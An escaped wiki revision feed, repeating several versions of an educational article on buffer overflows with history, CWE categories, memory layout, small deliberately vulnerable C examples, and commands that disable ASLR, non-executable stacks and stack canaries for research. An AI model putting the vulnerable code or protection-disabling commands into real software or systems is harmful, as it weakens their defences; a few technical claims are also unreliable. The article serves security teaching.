To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16974</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16974"/>
		<updated>2024-12-11T11:48:14Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Buffer Over-Write */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter/instruction pointer&#039;&#039;&#039; and the content of the processor’s &#039;&#039;&#039;registers&#039;&#039;&#039;. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* Heap section: memory that is dynamically allocated during program run time&lt;br /&gt;
* Data section: global variables (initialized and uninitialized)&lt;br /&gt;
* Code/Text section: the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, &#039;&#039;&#039;a function returns control&#039;&#039;&#039; to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
During a function call, arguments are pushed onto the stack in reverse order, and the &#039;&#039;&#039;return address&#039;&#039;&#039; (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:&lt;br /&gt;
&lt;br /&gt;
* EIP (Instruction Pointer): Stores the next instruction&#039;s address.&lt;br /&gt;
* ESP (Stack Pointer): Points to the top of the stack.&lt;br /&gt;
* EBP (Base Pointer): Marks the base of the stack frame for the current function.&lt;br /&gt;
&lt;br /&gt;
When a function is called, the stack is manipulated using &#039;&#039;&#039;PUSH&#039;&#039;&#039; and &#039;&#039;&#039;POP&#039;&#039;&#039; instructions. A &#039;&#039;&#039;return address&#039;&#039;&#039; is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially &#039;&#039;&#039;overwriting the return address&#039;&#039;&#039;. An attacker may &#039;&#039;&#039;overwrite the return pointer to redirect the flow of execution&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT: Constrained Devices (TODO) ===&lt;br /&gt;
&lt;br /&gt;
No Mitigaton Techniques implemented&lt;br /&gt;
&lt;br /&gt;
== Dangers (TODO) ==&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt; &lt;br /&gt;
&lt;br /&gt;
int main(){&lt;br /&gt;
&lt;br /&gt;
int array[5] = {1 ,2 ,3 ,4 ,5}; &lt;br /&gt;
printf(&amp;quot;%d\n&amp;quot;, array[5]);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
In this section, a simple Out-of-bounds Write vulnerability will be examined. The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
&lt;br /&gt;
    char B[3] = &amp;quot;03&amp;quot;; // gets higher address on stack&lt;br /&gt;
    char A[8] = &amp;quot;0000000&amp;quot;; // gets lower address on stack&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Before overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    strcpy(A, &amp;quot;excessive&amp;quot;); // dangerous &lt;br /&gt;
    printf(&amp;quot;After overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16973</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16973"/>
		<updated>2024-12-11T11:43:58Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Buffer Over-Read */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter/instruction pointer&#039;&#039;&#039; and the content of the processor’s &#039;&#039;&#039;registers&#039;&#039;&#039;. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* Heap section: memory that is dynamically allocated during program run time&lt;br /&gt;
* Data section: global variables (initialized and uninitialized)&lt;br /&gt;
* Code/Text section: the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
